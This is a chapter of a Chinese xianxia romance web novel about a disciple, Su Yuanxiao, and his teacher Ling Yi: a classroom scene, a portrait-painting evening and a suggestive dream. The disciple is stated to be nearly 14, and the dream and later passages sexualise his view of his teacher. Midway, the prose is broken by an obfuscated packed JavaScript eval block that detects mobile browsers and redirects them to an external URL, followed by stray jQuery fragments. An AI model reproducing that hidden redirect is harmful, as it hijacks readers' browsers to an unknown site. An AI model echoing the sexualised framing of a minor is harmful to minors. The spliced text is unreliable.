苏远霄话语戛然而止,微张着的嘴却没把字给咬下,呆愣地诠释“瞠目结舌”的表情,但他确实是没想到会有被凌逸惩罚去受皮肉之苦的时候。
但是见着凌逸毅然决然不看那故作可怜神态,下定心不再宽恕,确实做了出格但真自认不算坏事的苏远霄,又有些莫名其妙的得意,垂下眼睛藏住情绪。
居然把他惹成这样,果真是兔子急了也要咬人的,鸟儿急了也得啄人的。
“是,弟子领命,但师尊可要千万记得,我绝对是最听你的话了。”
其实要说他也没有做什么过分的事情啊,不过是一把烧了授课师傅的头发让他火冒三丈,没心情再浪费大家的时间,再顺便去拜访了一下掌门,认错时提了一嘴师尊被言语冒犯的事,再顺便让他告老还乡而已嘛。
于是乎苏远霄第二天要去上课才知道,凌逸为了看住他自请去他所在的课室接任授课一职,
因为这文课也差不多接近尾声,倒真是怎么浑水摸鱼都得,不用太承担教书的责任,而且武课会换另外的师傅,凌越就当让凌逸出春浅活动活动答应了。
往日让弟弟待在春浅山是为了避闲言碎语,但若是有苏远霄在,说不定也能把控一点周围人发言的风向。
凌逸进门时,课室内非但没有安静下来,反而响起更多窃窃私语的声音,苏远霄很潇洒地拿着册子卷成筒打在桌上十分响亮的一声,周遭顿时止住。
刚才还想用咳嗽来提醒大家注意言辞,这里有位爷能两把火给你们换个发型的许杜顿时内心一阵野马奔腾,他忍不住凑过去吐槽:“你也太嚣张跋扈了吧!”
苏远霄的座位在第一排,于是他就看着一只被黑色半指手套遮得欲露还藏的手按住他拿的书,指尖拨开抚平,随着这个动作顺着手臂往上,师尊额前垂落发梢间的眼眸也望着他:
“远霄,要爱护书籍。”
“好,我都听师尊的。”
早已在凌逸过来时退回去的许杜见此幕,漏出一个难言的表情:哇塞,差别对待。
凌逸还未与其它弟子走过流程行个自我介绍,就已经有人替他念出名号,正是任现,若是别人说这话,苏远霄还会怀疑是不是来暗讽找茬,但是这人,就大抵是真的有那么些好奇了:
“清虚仙尊,我见书上有一招数,是那气息隐匿的术法,习得出神入化者还可直接藏起身形,我尝试过,仔细念诀无有差错,可我施展之时同门都说没有生效,
甚至见我的存在莫名更扎眼了,我便更想钻研这式,可此法需要借助灵力,不知您还可否指点一二?”
“这术法,我曾经少用……”
苏远霄见凌逸表现出困惑停顿神色,已经打算出征替师尊找回场子,嗯,管能不能答上谁呢,也不许有人能为难到自己师尊。
然而凌逸实则只是思考片刻:
“你牢记口诀实属聪颖,想必能学成只是需要一点领悟,我正好能与你分享我的体会,
此法需要灵根辅助,是因为要凭借天地灵气,才好融入自然,与环境共为一体,你可以将自己想象成任何不拘泥形体的物质,但其中更要保持专注收敛心神,叫人察觉不了你的气息波动,非是念着对方没看见你,而是自然而然将自己认作本就该在此。
此番,也需要能接受自己渺小如一颗尘埃的气性,有耐力捱过需要你藏匿的机会,才去获取更多可能。”
众人似懂非懂,但都感觉着与上一任授课师傅的对人各种贬低相比来说,这番指导真是太体贴入微,还温柔近人,又重新激励起大家的求学精神,纷纷涌动着要举手提问,霎时课室好生热闹。
凌逸几乎是有问必答,许多角度都有不一样的见解,听得苏远霄内心也十分满足,他还特别与有荣焉,这可是他的好师尊,还能给他开小灶的那种。
充实到苏远霄与凌逸再一次同乘归华回到春浅山,过了好阵子才想起来,自己似乎是遗忘了什么最开始的打算——重温那个画中仙的故事。
当时草草品读,本来想继续回味一下那般含有旖旎色彩的文字,却被凌逸打断了去,但仔细想想春浅山的风景何处不旖旎?更妙哉的是其中的人更是善用丹青。
念着想着就摸去了书房,不经意往师尊的书案上一瞄,竟发觉那画中身影格外熟悉。
凌逸见他进了书房,便也跟着,本来光明敞亮,蓦地才想起来苏远霄见着的是什么,随心画的事物让他后知后觉有些许脸颊发烫的羞耻,自觉被逮住要解释:
“只是看你练功姿态赏心悦目,便作入画了”
“师尊,你这是夸我了啊。”
“我难道夸你还少了?”
“绝不是,只是我很开心,有些得意忘形,比起我师尊更美,般般入画,为什么不见师尊作自画像呢?”
“这词是形容女子的,你怎么乱用在我身上?”
苏远霄连忙认错,继而左顾右盼,书房悬着的都是山水花鸟画,少见人物,但师尊也将其画得栩栩如生,果然凑近观赏那桌案上的也是惟妙惟肖丝毫不差。
“师尊,我想看你为自己画一幅像,可不可以?”
“这是什么要求……”凌逸难为情极了,只想拒绝,但架不住苏远霄的央求,且他今日表现确实乖顺。
寥寥几笔为自己画了像,不知是否因为是本人作画,画中人自带气韵,那神态真真相似,苏远霄觉得十分有趣,看得完全爱不释手似的。
这线条看着简易,让苏远霄跃跃欲试:“师尊,我想为你画像,你就坐着让我参照着画。”
初学者临摹丹青成品便不错了……凌逸见徒弟神采奕奕,便还是把话吞下去,任他安排。
苏远霄借着机会肆无忌惮地盯着师尊。
凌逸终究是被打量得不好意思:“揣摩这么久?你再不动,笔墨都要干了。”
苏远霄这才重新蘸墨下笔,思索定要将师尊眼尾睫羽纤长浓重画出,还要在脸颊留白处点上那颗小痣,然而,不慎失手晕开了一块墨泪,苏远霄极其懊恼,气性上来,不肯承认自己将师尊画毁了:
“这不是师尊!我随手捏造的人罢了,画
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743184|208293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得难看至极,也别管就扔了吧。”也不顾墨迹未干沾上手,将纸揉成一团丢去旁边眼不见为净。
“胡闹,”凌逸摇头,起身去拾那纸团,“怎么说也是你初次尝试的作品,怎么就这样扔了。”
苏远霄又看那双骨节分明的手仔细地把画展开,但那上面只留一片乌漆嘛黑分辨不出内容的墨团了。
凌逸彻底无奈扔掉,后又耐心地陪着徒弟不知多久,终于让他画出个人形还可以入眼。
于是终于可以入眠,苏远霄觉着他们师徒关系已经融冰,又可以再粘着一起睡,厚着脸皮过去依旧被赶。
“远霄,你多大岁数了?”
“好似是在过两个月就14岁了”
这舞勺之年的少年竟是这样容易冲动又执拗。
“这个年纪,已经不是小孩子,正该独立起来,为何还要我陪着你就寝,不嫌害燥。”
许是今天沾染丹青的时间略长,那画纸像真带着点神奇的诱惑力,引人展开想象与遐思,与梦乡奇异相连,让苏远霄在里头瞧见了凌逸执笔的手。
纤纤玉指,手如柔荑,肤也如凝脂……梦里凌逸的脸凑近了,今天反复将这幅容颜收藏在心底,所以虽然似朦胧抓不住的风,但总有念头清晰说明,这就是他。
无论在梦里还是梦外,苏远霄都是主张凡事对他都毫无所谓,但有所谓的,必须抓住。
于是他拨开凌逸的指节,迫使人弃了手中的画笔,再强硬地拿自己的脸去蹭其掌心,凌逸那个错愕的表情也刻印在他的脑海中。
只要稍稍软了声唤他师尊,就又变幻成可以让苏远霄予取予求的温柔笑颜,比如捏捏他的脸这种请求,比如绘一张画中仙,比如陪着他同床共枕……
苏远霄醒了,他有些迷茫,梦境碎片记忆最清晰的一块就是师尊的那双手,他觉得很好看,脑子抽了似的又欣赏了一下自己,觉得也不赖。
在他缓缓起床,思考自己莫不是对欣赏手有什么强力的癖好的时刻,终于僵住。
他知道了他在梦里遗留了什么。
嘶。
苏远霄惆怅望天。
还好没有和师尊一起睡。
难道他终究也是到二哥说的年纪了。
要不要再让凡康带几本书回来让他开悟开悟。
一切所想皆不为毫无察觉的凌逸所知,他照旧为苏远霄准备餐食,也没注意对方眼神放空随意看的地方正是他的手,而苏远霄觉得不太对劲,心虚移动视线不慎又落在凌逸的窄腰上。
盈盈一握,苏远霄精准运用书上词汇点评。
待到凌逸转过身见他一副魂不守舍的模样,关心道:“你怎么了,昨夜没有休息好?要不我给你点助眠的香药,你粘着我,怕不就是喜欢那个味道。”
师尊的味道……苏远霄沉浸其中回想,又冷不丁突然意识到若是被这香气包围,他得做多少春色的梦。
是因为在春浅山春意浓吗?
苏远霄胡乱找着理由。
他做梦的对象怎么是师尊,这不对吧?